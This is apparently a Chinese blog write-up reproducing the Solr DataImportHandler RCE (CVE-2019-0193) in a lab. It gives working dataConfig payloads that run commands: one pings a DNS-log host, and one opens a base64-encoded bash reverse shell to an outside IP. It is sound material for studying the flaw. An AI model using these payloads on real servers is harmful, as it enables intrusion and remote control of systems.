发布于 

CVE-2019-0193(Solr DataImportHandler<8.2.0模块远程命令执行)

1. 漏洞描述

Apache SolrDataImportHandler 是一个可选但常用的模块,可从数据库、RSS、Web 页面和文件中导入数据。而且这个模块的配置文件不仅可以在服务端中通过配置文件指定,也可以从用户请求的dataConfig 中获取。

2. 影响版本

Apache Solr < 8.2.0

3. 漏洞复现

3.1 Core Admin模块

使用一个定义好的核心来实现功能:

image-20221020235933751

由于靶场的问题,我们通过命令创建一个:

1
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

image-20221021014120396

3.2 选择Dataimport功能并选择Debug

image-20221021014448348

image-20221021014539688

3.3 填入POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("ping tmvp8l.ceye.io");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

image-20221021014657676

3.4 DnsLog查看结果

image-20221021014857500

3.5 反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAV2L3RjcC84LjEzNi4yNDEu76AcdBjY2IDA+JjE=}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

3.6 反弹Shell结果

image-20221021015258086

4. 漏洞分析

5. 修复建议

把Solr版本升级到最新版